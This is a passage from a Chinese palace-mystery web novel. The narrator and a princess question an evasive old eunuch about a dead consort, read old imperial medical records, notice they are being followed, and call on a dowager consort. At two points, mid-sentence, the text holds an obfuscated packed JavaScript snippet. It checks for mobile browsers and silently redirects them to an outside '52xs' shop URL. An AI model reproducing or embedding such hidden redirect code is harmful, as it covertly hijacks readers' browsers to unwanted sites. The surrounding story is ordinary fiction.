“我想起来他是谁了,我说有些面熟!天哪,义妹,那人就是孟家那个禽兽,孟秋帆啊!” 脸部轮廓流畅,颅顶高圆,五官立体和谐,乍一看清冷,却又透着妩媚。一双不算太大的眼,却将美艳发挥到极致。若非他明确的男子扮相,冷峻透着寒气的森森表情,我都要怀疑他的性别了。 空山玉碎,傅粉何郎。 这竟然是孟秋帆! 大脑从空空一片,到涌上十足十的厌恶,我还是大概花了五秒。 是哦,我差点忘了,他被撸掉军阶,贬至羽林军中效力。而羽林军,本就负责皇宫内的警戒巡逻,他出现在这里,一点也不奇怪。 艳绝如画中人,天上仙,明明面无表情,却处处写着“帅”字。没想到,坊间对他外貌的议论,竟然也是真的。 靠!我差点都忘了还有这号人物! 他正好端端、精神十足的站着岗。可温润的何慕卿已经人头落地!曾经那么倾慕他,那么期冀婚姻美好的他的妻子,已经投水而亡,四年了! 我恨得牙根痒痒,恨不得冲上楼冲他那张帅脸狠狠挥上一拳! 郡主听谢宁轩讲过白马书院案,此刻亦从牙缝中挤出声音:“这王八蛋竟然还有脸活着,在他被圣上召见之后……恶心!义妹,你和宁轩哥就没想到什么法子,把他惩治了吗?” “呵呵,我们倒是想,这不是让他逃了么……真是倒霉,怎么碰见他了!” “就是!走,义妹,咱们换条路走!别走这儿,膈应人!” 我二人携手绕道,气呼呼走了半盏茶。郡主一路都在嘟囔,眼见快到太医院,才总算压下起伏的情绪。 “不过说起来,义妹,咱们为什么要来太医院啊?哥哥不是说,先帝时期的太医们,早都不在人世了吗?”郡主又问。 人不在,资料在嘛。 作为诊治宫中众人的专职机构,太医院有着所有妃嫔的记录,对于我们了解琳妃之死相关人物的健康状况,十分重要。 这一年中,谢宁轩和三殿下将二十八年前供职过的太医遗物也都翻找过,因着宫内问诊记录不允带出太医院的规定,一无所获。 也即,想要知晓当年的人与事,就如起居注一样,也得亲来翻阅档案。 另则,琳妃死亡之前的问诊,没有被要求忌酒,是因为确实不需要,还是有其他原因? 我对淑妃所言和起居注的矛盾,始终在意。并且,不同于静太妃失了儿子后的郁郁寡欢、久病不起,琳妃则从入宫起,就多有召见太医的记录,实在是个娇弱的人。我很是好奇她是否身有隐疾,是否与死亡有关呢? 好在太医院不比内廷司敏感,在这里买通安插几个人,让我们避人耳目翻阅,还是不难的。来之前我和谢宁轩就商量过,将太医院一游的时间做了部署。 提前至今天就来,也出乎了我的预料。这自然就源于谢宁轩的信件,点出了新的人物,远比一页页死板的笔墨记录鲜活得多。 “啊?宁轩哥提这个了吗?我怎么没看到!” *** 太医院侧厢房内,郡主盯着窗外恭恭敬敬垂头之人,朝我投来惊异的眼神。 一名身穿太监服的男子下巴光净,皮肤白皙,脸上连个毛孔都看不见,整个人女里女气,完全不像是个中年男子。 这就是谢宁轩信中提及的看守太监,牛公公了。他说此人有线索,让我来问。 待我们抵达,有个年轻太医借口为郡主问诊,引我们来到侧厢房。显然,这都是谢宁轩事先安排好的。 年轻太医告知,这牛公公三十年前入宫,一直在太医院中侍奉。当年身子骨利索时,也曾陪伴太医进入内宫,提提药箱、送送药方。不过现在的他,只负责看守门禁。 既然几十年如一日守在太医院,那么,不止琳妃,二十八年前的珍妃、淑妃、废后胡氏等,想必他都有印象了。 “郡主,王姑娘,谢侍郎说尽管问话,善后工作他会做,不必担忧太医院有人泄密。下官也会协助的。另则,谢侍郎已提前知会牛公公,王姑娘想要看的问诊记录,牛公公都能取来给您。” 郡主满意颔首,挥手打发年轻太医下去,一面道:“还是宁轩哥高段,办事周全!” 确实,有个活人直接问话,效率不得高多了呐。 年轻太医出门后,牛公公弯腰进屋,恭敬地行礼。 郡主毫不掩饰地又一番打量,方道:“牛公公看起来挺年轻的呀。” 牛公公躬着身,声音尖利:“郡主说笑了,郡主唤奴才小牛子就是。” 现在要是正喝茶,我非喷出来不可。 郡主未曾察觉我的憋笑,还在询问:“你在太医院三十年了?” “是啊。当今圣上洪福齐天,奴才得以沾染一点点福气,能在太医院一直侍奉。” “三十年,也辛苦了啊。我回头得给易主簿说说,好好嘉奖于你。” 牛公公笑容深了些:“岂敢岂敢,奴才只是尽本分而已,哪敢要什么赏赐呀。” 郡主满意颔首,坐姿也放松了。“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14465409|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然你这么懂事,那就说吧,一五一十道来,将你记忆中的琳妃好好说道说道。” 牛公公抬眼看来,一脸意外:“琳妃,先、先帝琳妃?” “是啊,先帝琳妃。你还记得多少?” 牛公公张了张嘴:“左、左侍郎大人不是说郡主要问的,是云妃的事吗?” 云妃? 云妃是当今圣上的妃子,年纪都没有二十八岁,问她作甚?啊,云妃……听起来和琳妃有些像。莫不是这牛公公听错了,压根没搞清楚我们来问什么事啊? 郡主本以为板上钉钉,不过就是一场寻常的问话罢了,此时惊愕的下巴都掉了下来。她丢给我个“宁轩哥怎么搞的,亏我刚还夸他”的眼神,就加重语气强调:“琳妃,本郡主要问的是先帝琳妃的事。” 牛公公眼神都涣散了:“先帝,琳妃?” “是啊,你可还记得她,记得多少?” “哎呦,郡主啊,奴才这上了年纪,记性不好。先帝时期的事,都记不清了呀。” 郡主嘴唇向下撇:“好好回忆回忆!不就是二十多年前的事嘛,还能都忘了?” 牛公公侧侧头,似乎在努力回想,半晌,他还是说:“回郡主,先帝时期好多事,奴才真的忘得七七八八了。您说的先帝妃嫔,奴才真是想不起来呀。” 郡主无法,求助的看向我。 我心里却在嘀咕,谢宁轩会犯这么浅显的错吗?没确定自己的意思被接收明白,就交由我们来问线索?再说,就算当时真是听岔了,二十多年前的旧事,也不可能一点都不记得吧? 此刻,我也顾不得主仆身份了,直接问道:“牛公公,琳妃就是当今圣上的养母,多荣长公主的生母,死在高岭之变前夕的先帝宠妃。你一点都想不起来了吗?” 牛公公挤上笑容,抱歉道:“真是想不起来了呢。” 郡主急了:“你再好好想想!怎么可能完全不记得?” 眼看郡主没了耐心,牛公公慌忙跪到地上。“哎呦,郡主啊,奴才真的是记不起来了。这人年纪大了,脑子实在不好。就说昨个奴才晚上睡觉,都忘记关门了。半夜凉风吹过来,还挺飕飕的呢,奴才也吓了一跳,您说就奴才这个脑子……” “行了,别东拉西扯的!有这功夫,你倒是好好回忆回忆啊!” “可奴才真是想不起来呀。奴才这脑子一向不太好用,就刚刚那小冯太医,上旬去问诊,奴才连他的药箱都提错了,真的是……” 郡主黑了脸。 但我却看明白了,呵呵,这哪是不记得,这是装傻,分明有意不想回答啊。 从我们走进太医院到现在,他都一直保持着弯腰的姿势,足见性情之谨小慎微,才能在宫中安稳度过三十年。从没晋升,也说明着,此人头脑清醒,知道机遇伴随着风险,与其为搏富贵战战兢兢,不如老实保命。 而作为先帝时期死伤无数的朝政大难,任何人乍一听“高岭之变”四字,都会稍变神情。可牛公公却只堆着笑容,含混地表达着自己记性不好。 呵,所以呀,压根不是谢宁轩说错了,也不是他耳朵不好听错了。他知道我们的目标,却压根不想作答。但侍郎与郡主,他得罪不起,故而唯有装傻。 只是我有些奇怪,他为什么不想回答? 琳妃之死的调查是密旨,之前太后不允,也没几个人知道。处于底层的他没理由没途径获知,那就不可能是怕得罪太后而闭嘴。那么,面对谢宁轩的指示、郡主的询问,为什么不愿提及? 我一时没想明白,但也看透了,郡主此刻严厉的命令,对这老狐狸,怕是没用。 想撬开他的嘴嘛……转转了眼珠子,我计上心来。 150.跟踪者 我伸手拦下了还在逼问的郡主,温和地说:“牛公公,奴婢明白,时间过去太久了,任谁也不可能有这么好的记性。其实郡主说错了,谢侍郎托郡主要问的,就是云妃的事。” 牛公公眼睛眯了眯,若非我紧紧盯着,都看不到那一闪而过的慌张。 这个反应更肯定了我的猜测。 倒是一旁的郡主很懵逼,还掐了我一下,眼珠子都要瞪出来了。 我暗暗拍拍郡主的手,表情自如:“还请教牛公公,云妃娘娘每次问诊时,都带着素金镯子,这是什么讲究?” 牛公公明显没猜透我的用意,一时未作答。 我继续胡说八道:“牛公公,刚那位小冯太医说,每次入宫问诊都带着您去,想必您肯定知道吧。” 牛公公急忙解释:“不不,奴才这些年只负责看守门禁,可不随着太医入宫问诊。” 要的就是这句话。 我马上挑眉:“哦?可你方才说,你提错过小冯太医的箱子。怎么,看门的,也需要帮太医提药箱吗?” 牛公公眼皮颤了颤,没有说话。 我立即给郡主使眼色,好在她也跟上了我的思路,登时装作恼了。“行啊牛公公,合着你是在诓本郡主啊!怎么,觉得你呆在宫中三十年根基深厚,本郡主动不得你了?” “奴才,奴才不敢。”牛公公急忙躬身。 “那你还不说?”郡主逼问。 可牛公公咬了咬牙,还是坚持了如一的口风。“奴才、奴才没说假话,先帝时候的事,奴才是真的记不得了。” 郡主一拍桌子就要发飙,我按住了她的肩膀,和颜悦色道:“郡主,消消气。牛公公到底年纪大了,有些忘事也正常。但公公总知道先帝时期妃嫔的问诊记录都在什么地方吧?” 牛公公抬头看向我,眼中是明晃晃的试探。 我亦直白的盯着他,意思很明确。 你不想说,不想惹祸上身,没问题。但我们已经问到你了,今天你不帮帮忙,自然不可能抽身离去。 退而求其次,也不失为一种前进。 我和牛公公眼神博弈片刻,他低下了头:“姑娘说的是。奴才在太医院多年,当然清楚各项记录的摆放位置。奴才回答不出郡主的问题,该打,该打。奴才这就给您将需要的记录取了来。” “且得避人耳目。您说呢?”我追了一句。 牛公公身子一凛,什么话也没说就出去了。 郡主立即抓着我:“义妹,你干什么啊?真的不问了?” 我耸耸肩:“姐姐,人证、回忆是一方面,白纸黑字的记录也很有价值。咱们本来就要翻阅,今天不正好是机会吗?与其你我去档案室找,不如让他寻来,省的咱们麻烦,还能试探,不是吗?” 郡主咬唇:“可小冯太医刚不是介绍,这牛公公是太医院唯一从先帝时期活到现在的人了吗?你也说宁轩哥递信来,就是查到了他的下落,想让咱们询问他呢。现在就让他这么轻松走了,难道就不问了?太可惜了吧!” 我张张嘴,正要回答,牛公公已经回来了。 呵,速度很快嘛。果然早就知道我们要查问什么,早就有所应对了。 牛公公将记录搁下,再次行礼道:“郡主,那您先阅览着。奴才就不在这儿打扰您了。” 郡主点头,我却说道:“不忙。牛公公,郡主什么身份,能让郡主在这儿自己翻阅资料吗?你不得陪着啊。” 牛公公抬头看我,面容沉静,只有眼中翻滚着各样的情绪。 郡主马上附和:“啊,是。你过来给本郡主捏捏肩吧,这一天天给我累的。” 牛公公无法,只能躬身恭敬地应了,上前轻敲郡主的肩。 这是个聪明人,无需伪装。所以我也一屁股坐在了郡主身边,直接拿起记录开始了翻阅。 十四本册子,八本琳妃的就诊记录,三本废后胡氏的,三本先帝淑妃的。 牛公公,你很懂的嘛。 先说琳妃的,就诊记录记得密密麻麻,字体也不一样,看来是不同的太医写下的。林林总总,就突出一个“娇弱”。整天不是伤风,就是疲倦内衰,要么就是起了疹子,亦或者打喷嚏停不下来。小毛病是真的挺多。 通体阅读下来,忌酒的医嘱不算多。康元二十年,更是一条都没有。 奇怪,难道琳妃体弱,但无需忌酒?不过她的饮食倒是蛮清淡的,这一点太医也认可。 七月初三有一条记录,说她脾胃不调,嘱咐可进食一些梅子开胃。 说起来先帝的起居注里倒是常见他饮酒的记录,时常伴随着妃嫔共饮。难道说,琳妃作为妃子,也得时不时陪先帝小酌,太医们也都知道,嘱咐了也没用,所以干脆不写了?那案发当晚,琳妃有没有可能喝酒? 我瞥了一眼恭敬敲肩的牛公公,他倒是动作轻柔,频率一致,丝毫没见慌张忐忑。 行,耗着呗。 我朝郡主递个眼色,又拿起淑妃的记录翻阅起来。 淑妃很少生病,琳妃记录里常见的字眼她这儿几乎都没有,但是外伤不少。有被线划伤手指的记录,呵,这估计是去放风筝了。有酒喝多了头痛的记录,还伴随着给宜嫔也开了同样的方子。有脚崴伤的记录,大抵是走路太风风火火,自己把自己搞伤了吧。 说实在的,淑妃其人,可比琳妃有意思多了。不过于这座深宫而言,于贤德温柔的衡量标准而言,淑妃这称号,有些名不副实。 牛公公依然在安安静静的侍奉着郡主。 我合上淑妃的记录,又开始看废后胡氏的。这个胡氏也挺有意思,叛乱前几年,她的记录多伴随嗓子疼,怎么,骂人骂的嗓子都用废了? 倒是康元二十年七月初五,她患了头风。这日子有些敏感啊,难道她那时,已经开始为之后的政变做准备了? 除此外,大量的记录则是她宫里人的问诊,不少都有皮外伤,皮肉割裂、断腿的、烫伤脸的,大多都是被废后责罚惩治的。 此人真是虐待狂,也实在不把人当人。 你看这条记录写着,康元二十年七月初二,皇后近身丫鬟面颊、口唇出现红肿水泡,嘴角流涎,面容不清,昏迷倒地,疑似风邪。而胡氏居然在三天后才准她瞧太医,理由只是嫌弃别的丫鬟伺候的不好,不准她歇息。 我重重翻了个白眼。 面颊、口唇出现红肿水泡,嘴角流涎……咦,这描述怎么像是中毒?时间这么巧,距离高岭之变可没几天了啊。难道是这个丫鬟有心告发,被人下毒了? 我暗暗揣测着,合上了册子,觑了眼牛公公。后者很有耐心,手起拳落,节奏拿捏的恰到好处。看郡主的表情,似乎还挺享受。 但我快没耐心了。 所以我挑了挑眉毛,开启PLAN B。 “牛公公,这些记录我都看完了,真是麻烦您了。” 牛公公收起手,走到桌子前收拾,笑容恭谨:“哪里话,郡主吩咐,奴才全力为之罢了。” “那就有劳牛公公,将这些记录再放回去吧。” 牛公公应了声,郡主在桌子底下踢我。 别急,别急,我当然记着呢。 眼看牛公公收拾好了,我微微一笑:“公公,这些记录您搁回去的时候,可能得小心点。” 牛公公抬眼看我。 “毕竟您挑的实在太巧合了,不是吗?明眼人一看,谁不知这用意?” “姑娘的意思,奴才不明白。” “不,你明白,你明白的很。”我站起来走上前,语气谆谆,“当今圣上顾及什么,太后忌讳什么,你太明白了,甚至知道些不该知道的,不是吗?你不想掺和进来。侍郎大人派人找你问话,一提名字你马上就想好了对策,是不是?只是牛公公,你未免想的太简单了吧。” “姑娘,姑娘是指?”牛公公依旧弯着腰,直到这个时候,态度还是严谨的没漏洞。 我朝他走近两步,轻声道:“公公通透,想必一听谢侍郎的问题,就能猜到我们在做什么。这种出力不讨好的事,我们背后是什么人在等着答案,公公也不可能猜不到。那公公觉得,装傻装失忆,就能糊弄过去?这么说吧,今天我们从你嘴里得到答案,与来日我们自己查到,于我们而言,没有区别。但对公公你,区别可就大了,您说是不是?” 他今天配合了,他就是我们的人证, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14472040|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三殿下和谢宁轩自然会保护好他。太后还不知道查案一事,他在宫里没有危险。 但他不配合,他无端翻阅先帝时期资料的消息,就会从太医院不胫而走。那么,太后听说了,他会什么下场?毕竟他只是个小角色,连到太后面前告我们的状,都没有机会。 我的画外音,牛公公自然听得懂。他虽然弓着腰,却抬眼看着我,明显在计算得失。 半晌,牛公公终是做出了选择:“那姑娘,到底想知道什么?” “很简单,我只想请公公描述一下记忆中的琳妃而已。” *** 从太医院离开的时候,天都黑了。 郡主还在嘟囔,觉得牛公公提供的记忆片段没能引出更多线索,肯定是他有所隐瞒。好在除了琳妃,他也描述了记忆中的其他旧人,也算是帮我们拼出了些往日片段。 “还是应该让宁轩哥再带回去审审!说不定还藏着什么重要……咦,义妹,拐弯干嘛?这边走,就是直通后宫的甬道呀。” 我余光扫着身后幽暗的小路,一面找借口:“哦,嗯,那个我怕再遇到恶心人,索性还是走来时路呗。” 郡主摆摆手,脚步倒是不自觉顺了过来。“不会啦,宫中羽林军三个时辰换班,这我知道。咱们在太医院呆了这么久,那混蛋早该出宫了。” 我心不在焉的点点头,眼光还是向后窥探着。 郡主意识到了,跟着瞧了一眼,被我立即拉住。“诶,那个,今晚去哪里吃饭呀,就是回慈宁宫吗?” 我顿了顿,再次压低了声音,“别看!” 郡主身子一凛:“吃、吃饭……哦,回吧?回慈宁宫?嗯,怎么了?”她悄悄地问。 “有人跟踪咱们。”我简短地说,从后方挽住了郡主的胳膊。远看着,就像丫鬟搀扶着主子。 郡主胳膊僵硬,颤声问:“真、真的吗?” 真的。 自太医院走出之后,我就觉得不对劲,身后始终有一种暗戳戳、若有若无的隐秘目光。这种感觉,就和昨晚一模一样。 难道又是我杯弓蛇影、惊弓之鸟了? 走到两条路的分岔口,我这才故意引着郡主,又沿着来时小路返回。今天下午我就注意到,这条小路两侧没有塔楼、城墙一类的至高观测点,也即,两侧并无羽林军站岗。 如果这里我还能感受到被注目的感觉,就绝非来自羽林军了。 而事实证明,真的不是我多想。 走到一处假山拐角,我低声吩咐:“郡主,往前走,灯笼保持不变。声音响些,装作大声呵斥奴婢,明白吗?” “你要干什么,义妹!”郡主紧张的问,“我、我怕!” “别怕,姐姐,按照我说得来。我就在假山后躲着,若有什么,你就大声尖叫。” 郡主听懂了我的意思,吞了吞口水,凝重点头。随后,她开始了表演。 “还敢顶嘴!之前岚枫没教过你吗?还敢在宫内东张西望?没得丢我王府的人!” 顿一顿,她又拔高三度,“狡辩什么?闭嘴!” 彷佛是被小声顶嘴的丫鬟气到了,郡主一阵输出。 而我,就趁着假山相错,得以在这个关头藏进了一个浅浅的山洞,借着并不皎洁的月光,紧紧望向小道尽头。 不多时,果然有个身影显现。来人个头不低,身形削薄,弓着腰侧着身,脚步极其轻盈,像只躲避猎人的兔子。 我贴着假山壁,心跳超速,就要警报了。但就在这时,就在他即将走到假山处,郡主的声音顿了顿。 就犹如闻到了猎人的气息,来人身形一震,竟停下了脚步。 糟糕,他发现了? 不及多想,来人已经缩回了脚步,三两个后退,他扭身便跑。 月光洒下,我清晰的看到来人的背影,观身形身高,定是男子无疑。而他迅捷逃走的步法,则令我忆起鹞子翻身的浮生,从房顶跃下的邓科。 怎么回事,来人也是个有功夫的家伙? 咦,功夫?这深宫中,怎么会有身怀功夫的男子? 难道——我打了个冷战——难道跟踪者,是那曾获武状元之荣的孟秋帆? 151.太妃 “孟秋帆?你怀疑跟踪者是他?”郡主一听就惊了,“为什么,他为什么要跟踪我……啊,不对,他跟踪的是你!他、他知道了你的身份……他、他见过你?” 我阴骛的想,见过我的不是他,是他父亲。 当日白马书院案,在最后的审问中,我也参与了。是以,孟老是清楚我的长相的。而孟府那样的人家,常年豢养着各色门客,找个妙笔画师画出我的长相,让孟秋帆一下就能认出,想也不难。 “可、可为什么呀,为什么要让他知道你的长相?咱们入宫查案也就是前两天才做出的决定,没怎么耽搁不就进来了吗?孟家事前不可能知道,就不会授意能在宫闱内行走的孟秋帆跟踪你呀。” 是,从时间上来讲,这说不通。 昨天我们初初入宫,跟踪就已经开始了。这必然是了解我们在宫内行事,才可能做出的安排。可郡主昨天甚至都没认出孟秋帆来,他怎么会一眼就认出我,深夜再潜入宫廷跟踪呢? 郡主也道:“金伯父御下一向严格,羽林军在宫中巡逻更是素有定数,三个时辰轮班不说,路线、休憩地点都有规定,是决不允许在宫中逗留乱走的。咱们昨日见到他也是午后,等从内廷司出来,他应该早就出宫了呀。” 话是没错。但孟府毕竟树大根深,宫内更有个皇子有血缘关系。孟秋帆买通队友睁一只眼闭一只眼,实则神不知鬼不觉的藏在偌大的宫中,也并非全无可能。 如果说,孟秋帆真的能从昨日匆匆一瞥中能认出我的长相,并立马潜入跟踪,这大概率不是一时兴起。 还记得吗?二公子谈及与陈尧昇在文庙私下往来的高官府邸中,也包含“孟府”二字。京城中,能让二公子都认定为高官的,唯有孟秋帆之父。 也即,这个时点,孟秋帆在内跟踪我们,陈尧昇在外参奏谢宁轩。 脑中零散的线串了起来。呵呵,脉络清晰了,不是吗? 陈尧昇背后指使之人,就是孟府,对不对! 白马书院案,孟秋堂被杀本是绝对的受害人角色,世人同情。然我和谢宁轩一通核查,却翻出了他当年罪恶的行径,更揪出始作俑者孟秋帆。其变态、违反道德与人性的过去,谢宁轩更是毫不留情,一五一十告诉了圣上。 处罚,虽然轻描淡写了些,但孟老大病一场,官阶爵位也被圣上找借口降了。孟府能不生怨,对我和谢宁轩恨之入骨吗? 怪不得明知谢宁轩在圣上心中的地位,也要撺掇陈尧昇上书了。 “什么!”郡主听到我的推测,愤怒道,“你是说孟家父子,就是捣鬼之人?” “我是这么猜的。毕竟孟秋帆跟踪咱们,太不寻常了。” 郡主抿了抿嘴,忽地一凛:“天哪,义妹,那若真如你所说,孟家知晓你混在宫中……不会向太后告发吧!” 我也正有此担心。 他们手中若还有我的画像,只需再找三俩有些分量、见过我查案的人证,就能在太后面前指证我的身份。届时我化名潜在宫中,又不能阐明真实来意,岂非瓮中之鳖? 但他们没有这样做,为什么? 孟秋帆昨日认出我后,就可以找人再来确认一下,即可告发。为什么还冒着风险,连续两晚跟踪我们?是对我的身份还有些疑问,还是另有所图? “义妹,要不咱们撤吧!索性直接出宫,不就完了吗?” “不行。”我摇头道,“一来,这还只是我的猜测,跟踪的人我也没有实际看清长相,或许搞错方向,全盘猜错也不一定。查案要紧,还是不能耽搁。二来,咱们昨日来,你才对太后说了要长住些时日,忽然改变主意外出,太后不会奇怪吗?总得有个契机吧。” “那,那怎么办?” “先传信出去,明日是不是岚枫来的日子?我拟封信,让谢宁轩速查孟府与陈尧昇是否有往来,孟秋帆值班后到底出没出宫,先看看我的推测是不是真的。若判断危险大于收益,咱们立时出宫。” *** 要说这座皇城最幸福的女人是谁,莫过于太后了。朝政太平,权力集中,无需担心政权颠覆;圣上是亲生儿子,不用担心不同心;皇后贤德,众妃也没有下作、腌臜的宫斗乱象。她每日礼礼佛,看看书,还有一众太妃陪伴逗趣着,日子过得真是舒坦。 这不,一大早,一众太妃就又来请安了。 我为什么说“又”呢? 因为就在等消息的三日中,太妃们就来了三次,皆因春分将至,太后祈福是为国奉献,又说明年开始,太后就要将担子交付给皇后了,太妃们这才殷勤来恭维。 而这三天,因着心神不定,我查案都有些不得劲。除了又寻机去了趟内廷司,翻看了更多的起居注外,别无他成。 郡主为了我的安危,不赞成堵截跟踪者,更建议干脆白天出去查案,不给跟踪者了解动向的机会。此时情况不明,正面冲突确实不是上策,所以我也就从善如流,没再冒险。 这结果便是,我方敌方,莫名其妙都似平静下来,如一潭死水了。 是我想太多,事情并没有那么严重,还是暴风雨前最后的平静?忐忑不安,我实在拿不准。 而此时,我还正陪着郡主在正殿中耗费时间。郡主已经习惯了陪坐闲聊,即便觉得无聊,也总能打起精神应付着。我站在她身后,又困又饿,眼皮直打架。 这天天卯时起床,真是受不了。 众太妃都知道太后是资深佛教粉丝,每天话题,除了春分祭祀,聊的也多是佛法感悟。于我而言,更是犹如天书,昏昏欲睡。 今天也不例外,德太妃又说起了舍利供奉:“听闻得七七四十九天后,才能移入皇家寺庙呢。” 丽太嫔咂舌:“还要先在锦业寺供奉啊?” “那可不,”德太妃眼睛睁大,“毕竟佛法德高,我朝修行第一人呀。” 修行第一人?哦,嗨,这说的还是锦业寺那刚刚圆寂的住持和尚?哎,第三回了。我说你们就算巴结奉承,也倒是换换话题呐,总提一件事,不嫌烦呀? 我这厢腹诽,然而,接下来的对话,就打脸了。 丽太嫔人如封号,这把年纪了,依旧风采迷人。只见她用帕子掩口笑道:“说起惠文大师,臣妾倒是想起一桩往事。” 说罢,眼睛就朝太后脸上觑。而且,殿中其他太妃也都笑着看向太后。 我有点纳闷,怎么的,太后和老和尚还有过往来? 太后歪在榻上,笑着摆了摆手。倒是懒洋洋的郡主忽然来了精神,猛地坐直叫道:“哎呀,可是太后年轻时,打破了惠文大师脑袋的往事?” 什么? 这可新鲜了啊,这几天没聊到这事嘛! 灵台瞬间就清醒了,我立马偷瞄太后的神情。却见她笑得慈祥,一众太妃也都跟着乐。气氛融洽轻松。 少女时的太后打破了和尚惠文的脑袋?这文案分明是出偶像剧,似乎走向不太合适……怎么大家这个反应? 郡主接下来一讲,我才听明白,原来是我狭隘了。 少女太后当时只有十岁,惠文大师却已年过三十,早已是锦业寺的高僧。他们之间,没有任何情愫产生。 而一众太妃毫无顾忌的提起来,甚至还有些投其所好,其实正因这场意外,造就了今天太后的身份。 “……高宗走出来一看,正是太后您那粉雕玉琢的小脸,这才对您上了心,日后才将您许配给先帝了嘛。” 原来少女太后打破惠文大师脑袋的时候,高宗也在场。当时高宗去锦业寺礼佛,惠文大师陪同在侧,熟料远处飞来一颗马球,直接砸破了后者的脑袋。 高宗还以为有刺客 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我就知道!太后出身名门,得罪不起呗!想来谢宁轩若不是查案得罪了宵小,又兼带着的是个名不见经传的普通女子,八成孟家也不会选从这角度入手弹劾他了。 怪不得三殿下在我回京初始,就急忙举行结拜仪式,硬要给我个“二小姐”的身份。 哼,说来说去还是看背景下菜呗!呸! 我默默吐槽着,台上的太后换了个坐姿,她听着姐妹夸赞,语气虽然谦虚,笑容却怎么也掩盖不住。 “都是当年鲁莽,休得再提,休得再提。” 这时,对面坐着的一位贤太嫔也加入了溜须拍马的阵营:“说起来当年太后还不情愿呢,想拔剑走江湖,当个女侠。” 德太妃明显才是王者,她立即说道:“那是咱们大青有福气,才会让太后改了心意,诞下龙儿,才有今日这太平盛世嘛。” 低情商:没拗过嫁人生子的命运。 高情商:大青有福气才能有你啊。 我低垂着脑袋差点笑出声来,心说真是哪朝哪代也逃不出说话的技巧。 贤太嫔大概也意识到自己险些说错了话,忙又看向郡主:“说起来,咱们阳远还真有些太后年轻时的风采,善马球善骑射,烈烈洒脱,性情飞扬呀。” 郡主忙拍马屁:“我可不敢向太后看齐,太后那文采,阳远哪里够得上呀。” 太后抿嘴乐了:“你呀,一点坐不住的好动,倒和哀家幼时一模一样。不过都及笄了,哀家可不像你那么手笨。”说着,太后将放在身侧的一个香囊取出,“你们瞧,这是阳远给哀家绣的,她说这是朵牡丹。” 众太妃对着乱糟糟的萝卜,都笑了。 “太后!”郡主撒娇,“您说阳远有进步了!怎么又嘲笑阳远嘛!” 众太妃又是齐齐捂帕子,看向郡主和蔼又宠溺。 接下来,又有几位太妃接连发表了对太后的崇敬和对郡主的关怀,至此,陪坐也就告一段落了。 临到贤太嫔往外走时,太后又叫住了她。“对了,圣上给哀家拿了些贡品荔枝,你也知道,哀家素来不吃这些。你拿去吃吧。” 贤太嫔感激不已,又讨好地恭维道:“圣上对您可真是孝心可嘉啊,这什么贡品进了宫,慈宁宫都是第一个选。说起来圣上这一点真是像极了先帝,先帝当年知道您不吃瓜果,每每有新鲜玩意进贡来,还是要赏给您。太后啊,您这福气,真是天大的呢。” 这话说的还算有水平,既夸了太后在夫君心中有地位,又赞了太后教养出了一等一的儿。太后听得喜笑颜开,又唤她坐近唠了好一阵。 我盯着二人侧脸,倏地意识到,嘿,这是个刺探的好机会呀。 152.贤太嫔 我趁四下无人注意,上前戳了戳郡主的肩,对着她挤眉弄眼。 于是,贤太嫔告退后,郡主立即上前说:“太后啊,上古有名的拜节琴是不是就在贤太嫔处?阳远想去瞧瞧呢。” “嗯?怎么突然对琴感兴趣了?你不是一向不喜欢这些的吗?” 郡主对答如流:“是听林家妹妹——哦,快要改口叫嫂子了——那日提起,说琴中翘首独拜节也,声乐动人,价值万金。我刚看着贤太嫔就想起来,她那把琴,不就叫拜节吗?” “是,是在她那儿。”太后颔首,也未作他想就允了。我便得以同郡主追随贤太嫔,前后脚回到了她的宫殿。 你问找她干嘛? 嗨,还不是查案一直没进展嘛。一方面是我忐忑不安,心神不定,另一方面也源自宫规森严,总觉束手束脚,不敢大张旗鼓的追查。在内廷司和太医院倒是查到些线索,但远连不成串。 现在,谁还能知道先帝时期的人与事呢,唯有这一个个活着的太妃了。可是,她们和太后走得太近了,我们并不敢贸贸然前去刺探。 但今天,这个贤太嫔倒是让我看到了机会。往日她都不怎么开腔,我以为高深莫测呢,今天这么一瞧,其实是不太会说话,生怕得罪了太后。 也即,贤太嫔并不是个城府颇深的老狐狸。何况今天她还提到了先帝,我们只需顺势问问,毫不违和嘛。 “别提琳妃,只问先帝,让她主动回忆往事就行。”我在郡主耳边简短吩咐一句。 郡主转转眼珠子,开始了表演。 “阳远啊,你怎么来了?”贤太嫔很是意外。 郡主按照给太后说的话术,又向贤太嫔请求了一遍。后者自然许可,当即派人去取,还吩咐将库房中上好的文房四宝取来。 郡主故意撇嘴:“太嫔这可就偏心了,阳远也识字呀,怎么文房四宝只送我哥哥。” 贤太嫔笑道:“本宫这是贺你哥哥大喜。来日等你的好日子,本宫可准备好了给你添嫁妆呢。再说了,女儿家,要那些有什么用。来日侍奉郎君、生儿育女才是正经事。” 郡主这下真的噘嘴了:“瞧太嫔这话说的,阳远可都不期待嫁人了。” 贤太嫔拿帕子捂嘴笑:“得得,怪本宫啰嗦了。” 好在这时,琴已取来,郡主一面瞧一面夸:“太嫔,您刚夸太后有福气,您自己何尝不是呀?阳远就听说,这琴可是随着高宗收复边疆失地才回归中原的。高宗收在宝库中,都舍不得把玩几次。先帝却特别赐予了您,怎么不是盛宠呢!” 